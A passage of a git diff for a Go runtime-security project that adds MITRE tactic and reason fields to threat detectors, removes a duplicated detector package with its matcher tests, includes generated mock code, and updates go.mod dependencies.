{ + return mm_atomic.LoadUint64(&mmEvaluatePolicyRuntimeEvent.beforeEvaluatePolicyRuntimeEventCounter) +} + +// Calls returns a list of arguments used in each call to EnforcerClientMock.EvaluatePolicyRuntimeEvent. +// The list is in the same order as the calls were made (i.e. recent calls have a higher index) +func (mmEvaluatePolicyRuntimeEvent *mEnforcerClientMockEvaluatePolicyRuntimeEvent) Calls() []*EnforcerClientMockEvaluatePolicyRuntimeEventParams { + mmEvaluatePolicyRuntimeEvent.mutex.RLock() + + argCopy := make([]*EnforcerClientMockEvaluatePolicyRuntimeEventParams, len(mmEvaluatePolicyRuntimeEvent.callArgs)) + copy(argCopy, mmEvaluatePolicyRuntimeEvent.callArgs) + + mmEvaluatePolicyRuntimeEvent.mutex.RUnlock() + + return argCopy +} + +// MinimockEvaluatePolicyRuntimeEventDone returns true if the count of the EvaluatePolicyRuntimeEvent invocations corresponds +// the number of defined expectations +func (m *EnforcerClientMock) MinimockEvaluatePolicyRuntimeEventDone() bool { + if m.EvaluatePolicyRuntimeEventMock.optional { + // Optional methods provide '0 or more' call count restriction. + return true + } + + for _, e := range m.EvaluatePolicyRuntimeEventMock.expectations { + if mm_atomic.LoadUint64(&e.Counter) < 1 { + return false + } + } + + return m.EvaluatePolicyRuntimeEventMock.invocationsDone() +} + +// MinimockEvaluatePolicyRuntimeEventInspect logs each unmet expectation +func (m *EnforcerClientMock) MinimockEvaluatePolicyRuntimeEventInspect() { + for _, e := range m.EvaluatePolicyRuntimeEventMock.expectations { + if mm_atomic.LoadUint64(&e.Counter) < 1 { + m.t.Errorf("Expected call to EnforcerClientMock.EvaluatePolicyRuntimeEvent at\n%s with params: %#v", e.expectationOrigins.origin, *e.params) + } + } + + afterEvaluatePolicyRuntimeEventCounter := mm_atomic.LoadUint64(&m.afterEvaluatePolicyRuntimeEventCounter) + // if default expectation was set then invocations count should be greater than zero + if m.EvaluatePolicyRuntimeEventMock.defaultExpectation != nil && afterEvaluatePolicyRuntimeEventCounter < 1 { + if m.EvaluatePolicyRuntimeEventMock.defaultExpectation.params == nil { + m.t.Errorf("Expected call to EnforcerClientMock.EvaluatePolicyRuntimeEvent at\n%s", m.EvaluatePolicyRuntimeEventMock.defaultExpectation.returnOrigin) + } else { + m.t.Errorf("Expected call to EnforcerClientMock.EvaluatePolicyRuntimeEvent at\n%s with params: %#v", m.EvaluatePolicyRuntimeEventMock.defaultExpectation.expectationOrigins.origin, *m.EvaluatePolicyRuntimeEventMock.defaultExpectation.params) + } + } + // if func was set then invocations count should be greater than zero + if m.funcEvaluatePolicyRuntimeEvent != nil && afterEvaluatePolicyRuntimeEventCounter < 1 { + m.t.Errorf("Expected call to EnforcerClientMock.EvaluatePolicyRuntimeEvent at\n%s", m.funcEvaluatePolicyRuntimeEventOrigin) + } + + if !m.EvaluatePolicyRuntimeEventMock.invocationsDone() && afterEvaluatePolicyRuntimeEventCounter > 0 { + m.t.Errorf("Expected %d calls to EnforcerClientMock.EvaluatePolicyRuntimeEvent at\n%s but found %d calls", + mm_atomic.LoadUint64(&m.EvaluatePolicyRuntimeEventMock.expectedInvocations), m.EvaluatePolicyRuntimeEventMock.expectedInvocationsOrigin, afterEvaluatePolicyRuntimeEventCounter) + } +} + +// MinimockFinish checks that all mocked methods have been called the expected number of times +func (m *EnforcerClientMock) MinimockFinish() { + m.finishOnce.Do(func() { + if !m.minimockDone() { + m.MinimockEvaluatePolicyRuntimeEventInspect() + } + }) +} + +// MinimockWait waits for all mocked methods to be called the expected number of times +func (m *EnforcerClientMock) MinimockWait(timeout mm_time.Duration) { + timeoutCh := mm_time.After(timeout) + for { + if m.minimockDone() { + return + } + select { + case <-timeoutCh: + m.MinimockFinish() + return + case <-mm_time.After(10 * mm_time.Millisecond): + } + } +} + +func (m *EnforcerClientMock) minimockDone() bool { + done := true + return done && + m.MinimockEvaluatePolicyRuntimeEventDone() +} diff --git a/event-processor/pkg/model/convert/convert.go b/event-processor/pkg/model/convert/convert.go index 7b223c14..7a3695f8 100644 --- a/event-processor/pkg/model/convert/convert.go +++ b/event-processor/pkg/model/convert/convert.go @@ -7,13 +7,14 @@ import ( func DetectorToProto(d *model.Detector) *api.Detector { det := &api.Detector{ - Id: d.ID, - Name: d.Name, - Description: d.Description, - Version: uint32(d.Version), - Author: d.Author, - Contact: d.Contact, - License: d.License, + Id: d.ID, + Name: d.Name, + Description: d.Description, + Version: uint32(d.Version), + Author: d.Author, + Contact: d.Contact, + License: d.License, + TacticsCovered: MitreTacticsToProto(d.TacticsCovered), } return det @@ -26,3 +27,22 @@ func DetectorsToProto(ds []*model.Detector) (ps []*api.Detector) { return } + +func MitreTacticsToProto(mts model.MitreTactics) []*api.MitreTactic { + res := make([]*api.MitreTactic, 0, len(mts)) + + for _, mt := range mts { + apiMT := &api.MitreTactic{ + Id: mt.GetId(), + Techniques: make([]string, 0, len(mt.GetTechniques())), + } + + for _, t := range mt.GetTechniques() { + apiMT.Techniques = append(apiMT.Techniques, t) + } + + res = append(res, apiMT) + } + + return res +} diff --git a/event-processor/pkg/model/detector.go b/event-processor/pkg/model/detector.go index 840ac7b5..d310bc6d 100644 --- a/event-processor/pkg/model/detector.go +++ b/event-processor/pkg/model/detector.go @@ -1,16 +1,37 @@ package model -import "time" +import ( + "database/sql/driver" + "encoding/json" + "time" + + detector_api "github.com/runtime-radar/runtime-radar/event-processor/detector/api" +) + +type MitreTactics []*detector_api.MitreTactic type Detector struct { - ID string `gorm:"primaryKey"` - CreatedAt time.Time `gorm:"index:,sort:desc"` - Name string `gorm:"index"` - Description string - Version uint `gorm:"primaryKey"` - Author string - Contact string - License string - WasmBinary []byte - WasmHash string // hex-encoded SHA-512 hash of wasm binary + ID string `gorm:"primaryKey"` + CreatedAt time.Time `gorm:"index:,sort:desc"` + Name string `gorm:"index"` + Description string + Version uint `gorm:"primaryKey"` + Author string + Contact string + License string + WasmBinary []byte + WasmHash string // hex-encoded SHA-512 hash of wasm binary + TacticsCovered MitreTactics `gorm:"type:jsonb"` +} + +func (mt *MitreTactics) Scan(src any) error { + b := src.([]byte) + return json.Unmarshal(b, mt) +} + +func (mt MitreTactics) Value() (driver.Value, error) { + if len(mt) == 0 { + return nil, nil + } + return json.Marshal(mt) } diff --git a/event-processor/pkg/processor/detector/chain.go b/event-processor/pkg/processor/detector/chain.go index 086fc8e7..c08d9e07 100644 --- a/event-processor/pkg/processor/detector/chain.go +++ b/event-processor/pkg/processor/detector/chain.go @@ -13,6 +13,7 @@ import ( "github.com/runtime-radar/runtime-radar/event-processor/api" detector_api "github.com/runtime-radar/runtime-radar/event-processor/detector/api" "github.com/runtime-radar/runtime-radar/event-processor/pkg/metrics" + "github.com/runtime-radar/runtime-radar/event-processor/pkg/model/convert" enf_model "github.com/runtime-radar/runtime-radar/policy-enforcer/pkg/model" ) @@ -79,14 +80,17 @@ func (c Chain) Detect(ctx context.Context, event *tetragon_api.GetEventsResponse res.Threats = append(res.Threats, &api.Threat{ Detector: &api.Detector{ - Id: d.Info.GetId(), - Name: d.Info.GetName(), - Description: d.Info.GetDescription(), - Version: d.Info.GetVersion(), - Author: d.Info.GetAuthor(), - Contact: d.Info.GetContact(), + Id: d.Info.GetId(), + Name: d.Info.GetName(), + Description: d.Info.GetDescription(), + Version: d.Info.GetVersion(), + Author: d.Info.GetAuthor(), + Contact: d.Info.GetContact(), + TacticsCovered: d.Info.GetTacticsCovered(), }, - Severity: s.String(), + Severity: s.String(), + Reason: resp.GetReason(), + TacticsCovered: convert.MitreTacticsToProto(resp.GetTacticsCovered()), }) metrics.DetectorThreatsCounter.With(prometheus.Labels{metrics.DetectorLabel: d.Info.GetId()}).Inc() } diff --git a/event-processor/pkg/processor/detector/detector.go b/event-processor/pkg/processor/detector/detector.go index 0557c956..43952371 100644 --- a/event-processor/pkg/processor/detector/detector.go +++ b/event-processor/pkg/processor/detector/detector.go @@ -16,7 +16,7 @@ import ( ) func NewPlugin(ctx context.Context) (*detector_api.DetectorPlugin, error) { - mc := wazero.NewModuleConfig() + mc := wazero.NewModuleConfig().WithStartFunctions("_initialize") p, err := detector_api.NewDetectorPlugin(ctx, detector_api.WazeroModuleConfig(mc)) if err != nil { @@ -52,15 +52,16 @@ func BinToModel(ctx context.Context, plugin *detector_api.DetectorPlugin, bin [] } d := &model.Detector{ - ID: infoResp.GetId(), - Name: infoResp.GetName(), - Description: infoResp.GetDescription(), - Version: uint(infoResp.GetVersion()), - Author: infoResp.GetAuthor(), - Contact: infoResp.GetContact(), - License: infoResp.GetLicense(), - WasmBinary: bin, - WasmHash: security.HashSHA512AsHex(bin), + ID: infoResp.GetId(), + Name: infoResp.GetName(), + Description: infoResp.GetDescription(), + Version: uint(infoResp.GetVersion()), + Author: infoResp.GetAuthor(), + Contact: infoResp.GetContact(), + License: infoResp.GetLicense(), + WasmBinary: bin, + WasmHash: security.HashSHA512AsHex(bin), + TacticsCovered: infoResp.GetTacticsCovered(), } return d, err diff --git a/event-processor/pkg/processor/detector/detector/chain.go b/event-processor/pkg/processor/detector/detector/chain.go deleted file mode 100644 index 613bfcd1..00000000 --- a/event-processor/pkg/processor/detector/detector/chain.go +++ /dev/null @@ -1,115 +0,0 @@ -package detector - -import ( - "context" - "fmt" - "strconv" - "strings" - "time" - - tetragon_api "github.com/cilium/tetragon/api/v1/tetragon" - "github.com/prometheus/client_golang/prometheus" - "github.com/rs/zerolog/log" - "github.com/runtime-radar/runtime-radar/event-processor/api" - detector_api "github.com/runtime-radar/runtime-radar/event-processor/detector/api" - "github.com/runtime-radar/runtime-radar/event-processor/pkg/metrics" - enf_model "github.com/runtime-radar/runtime-radar/policy-enforcer/pkg/model" -) - -// Chain is a chain of detectors wrapped with corresponding info. -type Chain map[Key]Wrapper - -// Key is used to identify particular detector. We do not allow same combination of ID and version, but we do allow same ID with different versions. -// This is in line with model.Detector, where primary key is also set to ID and version. -type Key struct { - ID string - Version uint -} - -// Wrapper represents a detector itself with info about it alongside, so that it can be used without calling Detector.Info. -type Wrapper struct { - detector_api.Detector - Info *api.Detector -} - -// ChainResult represents a result of execution of detectors' chain. -// If at least one of detectors returned an error, it's appended to Errors -// and it doesn't prevent remaining chain from being executed. -type ChainResult struct { - Threats []*api.Threat - Errors []*api.DetectError -} - -// Detect executes chain of detectors and returns a result, which can contain found threats or detect errors. -// Error in particular detector won't prevent other detectors in chain from being executed. -// Detect will stop with error if it occurs anywhere else. If len(c) == 0, it will return nil, nil. -func (c Chain) Detect(ctx context.Context, event *tetragon_api.GetEventsResponse) (*ChainResult, error) { - if len(c) == 0 { - return nil, nil - } - - res := &ChainResult{} - - dEvent, err := convertEvent(event) - if err != nil { - return nil, fmt.Errorf("can't convert event: %w", err) - } - - for _, d := range c { - t0 := time.Now() - resp, err := d.Detect(ctx, &detector_api.DetectReq{Event: dEvent}) - if err != nil { - res.Errors = append(res.Errors, &api.DetectError{ - Detector: d.Info, - Error: err.Error(), - }) - - metrics.DetectorErrorsCounter.With(prometheus.Labels{metrics.DetectorLabel: d.Info.GetId()}).Inc() - - continue - } - delta := time.Since(t0) - - log.Debug().Str("delay", delta.String()).Interface("detector_event", dEvent).Interface("detector_resp", resp).Msgf("Detector[%s] is done", d.Info.GetId()) - metrics.OperationTimeOneDetectorHistogram.With(prometheus.Labels{metrics.DetectorLabel: d.Info.GetId()}).Observe(delta.Seconds()) - - if resp.GetSeverity() > detector_api.DetectResp_NONE { - s := enf_model.Severity(resp.GetSeverity()) - - res.Threats = append(res.Threats, &api.Threat{ - Detector: &api.Detector{ - Id: d.Info.GetId(), - Name: d.Info.GetName(), - Description: d.Info.GetDescription(), - Version: d.Info.GetVersion(), - Author: d.Info.GetAuthor(), - Contact: d.Info.GetContact(), - }, - Severity: s.String(), - }) - - metrics.DetectorThreatsCounter.With(prometheus.Labels{metrics.DetectorLabel: d.Info.GetId()}).Inc() - } - } - - return res, nil -} - -// String implements fmt.Stringer for logging purposes. -func (c Chain) String() string { - wb := &strings.Builder{} - - i := 0 - for k := range c { - wb.WriteString("[") - wb.WriteString(k.ID + ";") - wb.WriteString(strconv.Itoa(int(k.Version))) - wb.WriteString("]") - if i < len(c)-1 { - wb.WriteString(", ") - } - i++ - } - - return wb.String() -} diff --git a/event-processor/pkg/processor/detector/detector/detector.go b/event-processor/pkg/processor/detector/detector/detector.go deleted file mode 100644 index 0557c956..00000000 --- a/event-processor/pkg/processor/detector/detector/detector.go +++ /dev/null @@ -1,81 +0,0 @@ -//go:build !tinygo.wasm - -package detector - -import ( - "context" - "fmt" - - tetragon_api "github.com/cilium/tetragon/api/v1/tetragon" - detector_api "github.com/runtime-radar/runtime-radar/event-processor/detector/api" - detector_tetragon_api "github.com/runtime-radar/runtime-radar/event-processor/detector/api/tetragon" - "github.com/runtime-radar/runtime-radar/event-processor/pkg/model" - "github.com/runtime-radar/runtime-radar/lib/security" - "github.com/tetratelabs/wazero" - "google.golang.org/protobuf/proto" -) - -func NewPlugin(ctx context.Context) (*detector_api.DetectorPlugin, error) { - mc := wazero.NewModuleConfig() - - p, err := detector_api.NewDetectorPlugin(ctx, detector_api.WazeroModuleConfig(mc)) - if err != nil { - return nil, fmt.Errorf("can't instantiate plugin: %w", err) - } - - return p, nil -} - -func BinsToDetectors(ctx context.Context, plugin *detector_api.DetectorPlugin, bins [][]byte) ([]detector_api.Detector, error) { - ds := make([]detector_api.Detector, 0, len(bins)) - - for _, bin := range bins { - d, err := plugin.LoadBinary(ctx, bin) - if err != nil { - return nil, fmt.Errorf("can't load binary: %w", err) - } - ds = append(ds, d) - } - - return ds, nil -} - -func BinToModel(ctx context.Context, plugin *detector_api.DetectorPlugin, bin []byte) (*model.Detector, error) { - detector, err := plugin.LoadBinary(ctx, bin) - if err != nil { - return nil, fmt.Errorf("can't load wasm module: %w", err) - } - - infoResp, err := detector.Info(ctx, &detector_api.InfoReq{}) - if err != nil { - return nil, fmt.Errorf("can't get detector info: %w", err) - } - - d := &model.Detector{ - ID: infoResp.GetId(), - Name: infoResp.GetName(), - Description: infoResp.GetDescription(), - Version: uint(infoResp.GetVersion()), - Author: infoResp.GetAuthor(), - Contact: infoResp.GetContact(), - License: infoResp.GetLicense(), - WasmBinary: bin, - WasmHash: security.HashSHA512AsHex(bin), - } - - return d, err -} - -func convertEvent(in *tetragon_api.GetEventsResponse) (*detector_tetragon_api.GetEventsResponse, error) { - b, err := proto.Marshal(in) - if err != nil { - return nil, err - } - - out := &detector_tetragon_api.GetEventsResponse{} - if err := out.UnmarshalVT(b); err != nil { - return nil, err - } - - return out, nil -} diff --git a/event-processor/pkg/processor/detector/detector/matcher.go b/event-processor/pkg/processor/detector/detector/matcher.go deleted file mode 100644 index e6bc1e2a..00000000 --- a/event-processor/pkg/processor/detector/detector/matcher.go +++ /dev/null @@ -1,99 +0,0 @@ -package detector - -import ( - "context" - "fmt" - "maps" - - "github.com/cilium/tetragon/pkg/arch" - "github.com/runtime-radar/runtime-radar/event-processor/api" - detector_api "github.com/runtime-radar/runtime-radar/event-processor/detector/api" -) - -// Matcher is a matrix which links events and detectors (event type -> function -> chain). It makes it possible to dynamically construct a [Chain] via [Matcher.MatchChain] method. -type Matcher map[string]map[string]Chain - -func NewMatcher(ctx context.Context, ds ...detector_api.Detector) (Matcher, error) { - m := Matcher{} - - for _, d := range ds { - infoResp, err := d.Info(ctx, &detector_api.InfoReq{}) - if err != nil { - return nil, fmt.Errorf("can't get detector info: %w", err) - } - - key := Key{infoResp.GetId(), uint(infoResp.GetVersion())} - - info := &api.Detector{ - Id: infoResp.GetId(), - Name: infoResp.GetName(), - Description: infoResp.GetDescription(), - Version: infoResp.GetVersion(), - Author: infoResp.GetAuthor(), - Contact: infoResp.GetContact(), - License: infoResp.GetLicense(), - } - - w := Wrapper{ - Detector: d, - Info: info, - } - - tcResp, err := d.TriggerCriteria(ctx, &detector_api.TriggerCriteriaReq{}) - if err != nil { - return nil, fmt.Errorf("can't get detector trigger criteria: %w", err) - } - - if len(tcResp.GetCriteria()) == 0 { - return nil, fmt.Errorf("empty trigger criteria for detector: %+v", key) - } - - for k, v := range tcResp.GetCriteria() { - eventType := k - funcNames := v.GetFuncNames() - - if m[eventType] == nil { - m[eventType] = map[string]Chain{} - } - - if len(funcNames) == 0 { - t := m[eventType]["*"] - if t == nil { - m[eventType]["*"] = Chain{key: w} - } else { - maps.Copy(t, Chain{key: w}) - } - } else { - for _, fn := range funcNames { - _, fn = arch.CutSyscallPrefix(fn) - t := m[eventType][fn] - if t == nil { - m[eventType][fn] = Chain{key: w} - } else { - maps.Copy(t, Chain{key: w}) - } - } - } - } - } - - return m, nil -} - -func (m Matcher) MatchChain(eventType string, funcNames ...string) Chain { - // Always match "*" pattern - funcNames = append(funcNames, "*") - - var chain Chain - - for _, fn := range funcNames { - matched, ok := m[eventType][fn] - if ok && chain == nil { - chain = maps.Clone(matched) - } else if ok { - maps.Copy(chain, matched) - } - } - - return chain -} diff --git a/event-processor/pkg/processor/detector/detector/matcher_test.go b/event-processor/pkg/processor/detector/detector/matcher_test.go deleted file mode 100644 index 3c52bcbc..00000000 --- a/event-processor/pkg/processor/detector/detector/matcher_test.go +++ /dev/null @@ -1,205 +0,0 @@ -package detector - -import ( - "context" - "testing" - - "github.com/google/go-cmp/cmp" - "github.com/google/go-cmp/cmp/cmpopts" - detector_api "github.com/runtime-radar/runtime-radar/event-processor/detector/api" -) - -func TestMatcher(t *testing.T) { - t.Parallel() - - allDetectors := []detector_api.Detector{ - &TestExecAll{}, - &TestKprobeTCP{}, - &TestKprobeFile1{}, - &TestKprobeFile2{}, - &TestKprobeAll{}, - } - - testcases := []struct { - Name string - Detectors []detector_api.Detector - EventType string - FuncNames []string - MatchedIDs []string - }{ - { - "Test exec all detector", - allDetectors, - "PROCESS_EXEC", - []string{}, - []string{"TEST_EXEC_ALL"}, - }, - { - "Test kprobe tcp_connect detector", - allDetectors, - "PROCESS_KPROBE", - []string{"tcp_connect"}, - []string{"TEST_KPROBE_ALL", "TEST_KPROBE_TCP"}, - }, - { - "Test kprobe security_file_permission detector", - allDetectors, - "PROCESS_KPROBE", - []string{"security_file_permission"}, - []string{"TEST_KPROBE_ALL", "TEST_KPROBE_FILE_1", "TEST_KPROBE_FILE_2"}, - }, - } - - for _, tc := range testcases { - t.Run(tc.Name, func(t *testing.T) { - t.Parallel() - - matcher, err := NewMatcher(context.Background(), tc.Detectors...) - if err != nil { - t.Fatalf("Can't create matcher: %v", err) - } - - chain := matcher.MatchChain(tc.EventType, tc.FuncNames...) - ids := getIDs(chain) - - if diff := cmp.Diff(ids, tc.MatchedIDs, - cmpopts.SortSlices(func(a, b string) bool { - return a < b // particular way of sorting does not matter - }), - ); diff != "" { - t.Fatalf("Expected detectors != actual: %s", diff) - } - }) - } -} - -func getIDs(chain Chain) (ids []string) { - for k := range chain { - ids = append(ids, k.ID) - } - - return -} - -type TestExecAll struct { - detector_api.Detector -} - -func (d *TestExecAll) Info(_ context.Context, _ *detector_api.InfoReq) (*detector_api.InfoResp, error) { - resp := &detector_api.InfoResp{ - Id: "TEST_EXEC_ALL", - Version: 1, - } - - return resp, nil -} - -func (d *TestExecAll) TriggerCriteria(_ context.Context, _ *detector_api.TriggerCriteriaReq) (*detector_api.TriggerCriteriaResp, error) { - resp := &detector_api.TriggerCriteriaResp{ - Criteria: map[string]*detector_api.TriggerCriteriaResp_FuncNames{ - "PROCESS_EXEC": { - FuncNames: []string{"*"}, - }, - }, - } - - return resp, nil -} - -type TestKprobeTCP struct { - detector_api.Detector -} - -func (d *TestKprobeTCP) Info(_ context.Context, _ *detector_api.InfoReq) (*detector_api.InfoResp, error) { - resp := &detector_api.InfoResp{ - Id: "TEST_KPROBE_TCP", - Version: 1, - } - - return resp, nil -} - -func (d *TestKprobeTCP) TriggerCriteria(_ context.Context, _ *detector_api.TriggerCriteriaReq) (*detector_api.TriggerCriteriaResp, error) { - resp := &detector_api.TriggerCriteriaResp{ - Criteria: map[string]*detector_api.TriggerCriteriaResp_FuncNames{ - "PROCESS_KPROBE": { - FuncNames: []string{"tcp_connect", "tcp_close", "tcp_sendmsg"}, - }, - }, - } - - return resp, nil -} - -type TestKprobeFile1 struct { - detector_api.Detector -} - -func (d *TestKprobeFile1) Info(_ context.Context, _ *detector_api.InfoReq) (*detector_api.InfoResp, error) { - resp := &detector_api.InfoResp{ - Id: "TEST_KPROBE_FILE_1", - Version: 1, - } - - return resp, nil -} - -func (d *TestKprobeFile1) TriggerCriteria(_ context.Context, _ *detector_api.TriggerCriteriaReq) (*detector_api.TriggerCriteriaResp, error) { - resp := &detector_api.TriggerCriteriaResp{ - Criteria: map[string]*detector_api.TriggerCriteriaResp_FuncNames{ - "PROCESS_KPROBE": { - FuncNames: []string{"security_file_permission", "security_mmap_file", "security_path_truncate"}, - }, - }, - } - - return resp, nil -} - -type TestKprobeFile2 struct { - detector_api.Detector -} - -func (d *TestKprobeFile2) Info(_ context.Context, _ *detector_api.InfoReq) (*detector_api.InfoResp, error) { - resp := &detector_api.InfoResp{ - Id: "TEST_KPROBE_FILE_2", - Version: 1, - } - - return resp, nil -} - -func (d *TestKprobeFile2) TriggerCriteria(_ context.Context, _ *detector_api.TriggerCriteriaReq) (*detector_api.TriggerCriteriaResp, error) { - resp := &detector_api.TriggerCriteriaResp{ - Criteria: map[string]*detector_api.TriggerCriteriaResp_FuncNames{ - "PROCESS_KPROBE": { - FuncNames: []string{"security_file_permission", "sys_write"}, - }, - }, - } - - return resp, nil -} - -type TestKprobeAll struct { - detector_api.Detector -} - -func (d *TestKprobeAll) Info(_ context.Context, _ *detector_api.InfoReq) (*detector_api.InfoResp, error) { - resp := &detector_api.InfoResp{ - Id: "TEST_KPROBE_ALL", - Version: 1, - } - - return resp, nil -} - -func (d *TestKprobeAll) TriggerCriteria(_ context.Context, _ *detector_api.TriggerCriteriaReq) (*detector_api.TriggerCriteriaResp, error) { - resp := &detector_api.TriggerCriteriaResp{ - Criteria: map[string]*detector_api.TriggerCriteriaResp_FuncNames{ - "PROCESS_KPROBE": {}, - }, - } - - return resp, nil -} diff --git a/event-processor/pkg/processor/notifier.go b/event-processor/pkg/processor/notifier.go index d41446e6..cfca1fbf 100644 --- a/event-processor/pkg/processor/notifier.go +++ b/event-processor/pkg/processor/notifier.go @@ -25,12 +25,22 @@ func (wp *WorkersPool) notify(ctx context.Context, ed *eventData, threats []*api sev = tSev } + tacticsCovered := make([]*notifier_api.RuntimeEvent_Event_MitreTactic, 0, len(t.GetTacticsCovered())) + for _, mt := range t.GetTacticsCovered() { + tacticsCovered = append(tacticsCovered, ¬ifier_api.RuntimeEvent_Event_MitreTactic{ + Id: mt.GetId(), + Techniques: mt.GetTechniques(), + }) + } + nts = append(nts, ¬ifier_api.RuntimeEvent_Event_Threat{ DetectorId: t.GetDetector().GetId(), DetectorName: t.GetDetector().GetName(), DetectorVersion: t.GetDetector().GetVersion(), DetectorDescription: t.GetDetector().GetDescription(), Severity: t.GetSeverity(), + Reason: t.GetReason(), + TacticsCovered: tacticsCovered, }) } diff --git a/go.mod b/go.mod index 174d3010..6237f014 100644 --- a/go.mod +++ b/go.mod @@ -3,23 +3,23 @@ module github.com/runtime-radar/runtime-radar go 1.26.0 require ( - github.com/cilium/tetragon v1.5.0 - github.com/cilium/tetragon/api v1.5.0 + github.com/cilium/tetragon v1.7.0 + github.com/cilium/tetragon/api v1.7.0 github.com/distribution/reference v0.6.0 github.com/felixge/httpsnoop v1.1.0 github.com/gobwas/glob v0.2.3 + github.com/gojuno/minimock/v3 v3.4.7 github.com/golang-jwt/jwt/v5 v5.3.0 github.com/golangci/golangci-lint v1.64.8 github.com/google/go-cmp v0.7.0 - github.com/google/gops v0.3.28 + github.com/google/gops v0.3.29 github.com/google/uuid v1.6.0 github.com/gorilla/mux v1.8.1 github.com/grpc-ecosystem/go-grpc-middleware/providers/prometheus v1.1.0 - github.com/grpc-ecosystem/grpc-gateway/v2 v2.27.3 + github.com/grpc-ecosystem/grpc-gateway/v2 v2.28.0 github.com/hashicorp/go-syslog v1.0.0 github.com/jackc/pgx/v5 v5.10.0 github.com/justinas/alice v1.2.0 - github.com/knqyf263/go-plugin v0.9.0 github.com/lib/pq v1.10.9 github.com/pressly/goose/v3 v3.27.0 github.com/prometheus/client_golang v1.23.2 @@ -28,8 +28,10 @@ require ( github.com/redis/go-redis/v9 v9.14.1 github.com/rs/cors v1.11.1 github.com/rs/zerolog v1.34.0 + github.com/runtime-radar/go-plugin v0.12.0 + github.com/runtime-radar/vtprotobuf v0.7.0 github.com/stretchr/testify v1.11.1 - github.com/tetratelabs/wazero v1.9.0 + github.com/tetratelabs/wazero v1.12.0 github.com/tidwall/gjson v1.18.0 github.com/wneessen/go-mail v0.4.0 go.uber.org/automaxprocs v1.6.0 @@ -40,7 +42,7 @@ require ( google.golang.org/genproto/googleapis/rpc v0.0.0-20260720211330-0afa2a65878a google.golang.org/grpc v1.82.1 google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.5.1 - google.golang.org/protobuf v1.36.11 + google.golang.org/protobuf v1.36.12-0.20260120151049-f2248ac996af gorm.io/driver/clickhouse v0.6.1 gorm.io/driver/postgres v1.6.0 gorm.io/gorm v1.31.1 @@ -93,11 +95,11 @@ require ( github.com/curioswitch/go-reassign v0.3.0 // indirect github.com/daixiang0/gci v0.13.5 // indirect github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect - github.com/deckarep/golang-set/v2 v2.8.0 // indirect + github.com/deckarep/golang-set/v2 v2.9.0 // indirect github.com/denis-tingaikin/go-header v0.5.0 // indirect github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f // indirect github.com/ettle/strcase v0.2.0 // indirect - github.com/fatih/color v1.18.0 // indirect + github.com/fatih/color v1.19.0 // indirect github.com/fatih/structtag v1.2.0 // indirect github.com/firefart/nonamedreturns v1.0.5 // indirect github.com/fsnotify/fsnotify v1.9.0 // indirect @@ -118,10 +120,9 @@ require ( github.com/go-toolsmith/astp v1.1.0 // indirect github.com/go-toolsmith/strparse v1.1.0 // indirect github.com/go-toolsmith/typep v1.1.0 // indirect - github.com/go-viper/mapstructure/v2 v2.4.0 // indirect + github.com/go-viper/mapstructure/v2 v2.5.0 // indirect github.com/go-xmlfmt/xmlfmt v1.1.3 // indirect github.com/gofrs/flock v0.12.1 // indirect - github.com/gogo/protobuf v1.3.2 // indirect github.com/golangci/dupl v0.0.0-20250308024227-f665c8d69b32 // indirect github.com/golangci/go-printf-func-name v0.1.0 // indirect github.com/golangci/gofmt v0.0.0-20250106114630-d62b90e6713d // indirect @@ -129,7 +130,7 @@ require ( github.com/golangci/plugin-module-register v0.1.1 // indirect github.com/golangci/revgrep v0.8.0 // indirect github.com/golangci/unconvert v0.0.0-20240309020433-c5143eacb3ed // indirect - github.com/google/cel-go v0.25.0 // indirect + github.com/google/cel-go v0.28.0 // indirect github.com/google/pprof v0.0.0-20250602020802-c6617b811d0e // indirect github.com/google/renameio v1.0.1 // indirect github.com/gordonklaus/ineffassign v0.1.0 // indirect @@ -191,11 +192,10 @@ require ( github.com/paulmach/orb v0.13.0 // indirect github.com/pelletier/go-toml/v2 v2.2.4 // indirect github.com/pierrec/lz4/v4 v4.1.27 // indirect - github.com/planetscale/vtprotobuf v0.6.1-0.20240319094008-0393e58bdf10 // indirect github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect github.com/polyfloyd/go-errorlint v1.7.1 // indirect github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 // indirect - github.com/prometheus/common v0.67.4 // indirect + github.com/prometheus/common v0.67.5 // indirect github.com/prometheus/procfs v0.21.1 // indirect github.com/quasilyte/go-ruleguard v0.4.3-0.20240823090925-0fe6f58b47b1 // indirect github.com/quasilyte/go-ruleguard/dsl v0.3.22 // indirect @@ -231,7 +231,6 @@ require ( github.com/spf13/viper v1.21.0 // indirect github.com/ssgreg/nlreturn/v2 v2.2.1 // indirect github.com/stbenjam/no-sprintf-host-port v0.2.0 // indirect - github.com/stoewer/go-strcase v1.3.0 // indirect github.com/stretchr/objx v0.5.2 // indirect github.com/subosito/gotenv v1.6.0 // indirect github.com/tdakkota/asciicheck v0.4.1 // indirect @@ -258,6 +257,7 @@ require ( gitlab.com/bosi/decorder v0.4.2 // indirect go-simpler.org/musttag v0.13.0 // indirect go-simpler.org/sloglint v0.9.0 // indirect + go.mongodb.org/mongo-driver v1.17.4 // indirect go.opentelemetry.io/otel v1.44.0 // indirect go.opentelemetry.io/otel/trace v1.44.0 // indirect go.uber.org/multierr v1.11.0 // indirect @@ -273,28 +273,25 @@ require ( golang.org/x/sys v0.47.0 // indirect golang.org/x/telemetry v0.0.0-20260708182218-49f421fb7959 // indirect golang.org/x/term v0.45.0 // indirect - golang.org/x/time v0.14.0 // indirect + golang.org/x/time v0.15.0 // indirect golang.org/x/tools v0.48.0 // indirect google.golang.org/genproto v0.0.0-20250922171735-9219d122eba9 // indirect - gopkg.in/evanphx/json-patch.v4 v4.13.0 // indirect gopkg.in/inf.v0 v0.9.1 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect honnef.co/go/tools v0.6.1 // indirect - k8s.io/api v0.34.4 // indirect - k8s.io/apimachinery v0.34.4 // indirect - k8s.io/apiserver v0.33.3 // indirect - k8s.io/client-go v0.34.4 // indirect - k8s.io/component-base v0.33.3 // indirect + k8s.io/api v0.36.0 // indirect + k8s.io/apimachinery v0.36.0 // indirect + k8s.io/apiserver v0.36.0 // indirect + k8s.io/client-go v0.36.0 // indirect + k8s.io/component-base v0.36.0 // indirect k8s.io/klog/v2 v2.140.0 // indirect - 